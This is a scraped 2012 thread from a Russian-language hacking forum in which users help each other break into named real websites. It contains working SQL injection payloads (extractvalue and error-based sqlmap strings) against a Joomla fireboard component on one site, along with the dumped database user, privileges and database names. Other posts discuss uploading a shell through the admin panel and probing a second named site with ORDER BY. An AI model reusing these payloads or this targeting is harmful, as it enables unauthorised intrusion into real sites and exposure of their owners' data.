ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

15.08.2012, 01:52
|
|
Guest
Сообщений: n/a
Провел на форуме: 6070
Репутация:
5
|
|
pirat0
А заливать каким путем собираешься? через админку или есть локальный инклюд?
|
|
|
|

15.08.2012, 08:37
|
|
Guest
Сообщений: n/a
Провел на форуме: 42754
Репутация:
0
|
|
Помогите раскрутить
Пробывал sqlmap'ом.
http://www.fanatnauki.ru/index.php?option=com_fireboard&Itemid=8&func=view
|
|
|
|

15.08.2012, 11:53
|
|
Guest
Сообщений: n/a
Провел на форуме: 195266
Репутация:
53
|
|
Сообщение от [ Dumi
"]
[ Dumi ] said:
Не получается
http://www.fanatnauki.ru/index.php
?option=com_fireboard
&Itemid=8
&func=view
&task=showprf',(extractvalue(1,concat(0x3a,version ()))),1,2,3,4)-- xyi
upd. главное после --ПРОБЕЛ надо какой-то ещё символ поставить, а то trim убирает пробел
|
|
|
|

15.08.2012, 19:14
|
|
Guest
Сообщений: n/a
Провел на форуме: 6070
Репутация:
5
|
|
Ups
Плохо значит пробовал, мапом нужно научиться пользоваться, это не HAvij, но куда более мощный и гибкий.
Сообщение от None
option=com_fireboard&Itemid=8&func=view&task=showp rf' AND (SELECT 4499 FROM(SELECT COUNT(*),CONCAT(0x3a7871773a,(SELECT (CASE WHEN (4499=4499) THEN 1 ELSE 0 END)),0x3a7361703a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'dEci'='dEci
current user: 'kubrikov_fn@localhost'
Сообщение от None
database management system users privileges:
kubrikov_fn'@'localhost
privilege: USAGE
available databases
information_schema
kubrikov_fn
|
|
|
|

15.08.2012, 19:43
|
|
Guest
Сообщений: n/a
Провел на форуме: 195266
Репутация:
53
|
|
Сообщение от Teratex
Teratex said:
Ups
Плохо значит пробовал, мапом нужно научиться пользоваться, это не HAvij, но куда более мощный и гибкий.
current user: 'kubrikov_fn@localhost'
Он не знал, что скуль в другом параметре - task.
Зы. смысл было повторно постить раскрутку ещё и более длинным способом...
|
|
|
|

15.08.2012, 19:57
|
|
Guest
Сообщений: n/a
Провел на форуме: 42754
Репутация:
0
|
|
Сообщение от Melfis
Melfis said:
Зы. смысл было повторно постить раскрутку ещё и более длинным способом...
Дайте покороче способ, если есть. Спасибо.
|
|
|
|

15.08.2012, 20:07
|
|
Guest
Сообщений: n/a
Провел на форуме: 195266
Репутация:
53
|
|
Сообщение от Ups
Ups said:
Дайте покороче способ, если есть.
Спасибо.
/showpost.php?p=3243868&postcount=21172
Выше разве не он?
|
|
|
|

15.08.2012, 21:04
|
|
Guest
Сообщений: n/a
Провел на форуме: 6070
Репутация:
5
|
|
Ups
Я дал ему способ для мапа и как пример показал что можно и мапом, а что использовать дело хозяйское, вот для того и запостил.
|
|
|
|

16.08.2012, 00:17
|
|
Guest
Сообщений: n/a
Провел на форуме: 23576
Репутация:
-1
|
|
Сообщение от Teratex
Teratex said:
pirat0
А заливать каким путем собираешься? через админку или есть локальный инклюд?
через админку
|
|
|
|

16.08.2012, 02:37
|
|
Guest
Сообщений: n/a
Провел на форуме: 755
Репутация:
0
|
|
Здравствуйте, подскажите, пожалуйста, что делать, если order by никогда не выдает ошибку?
Например, здесь: http://dynatone.ru/products.php?brand=Flight&group=911'
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|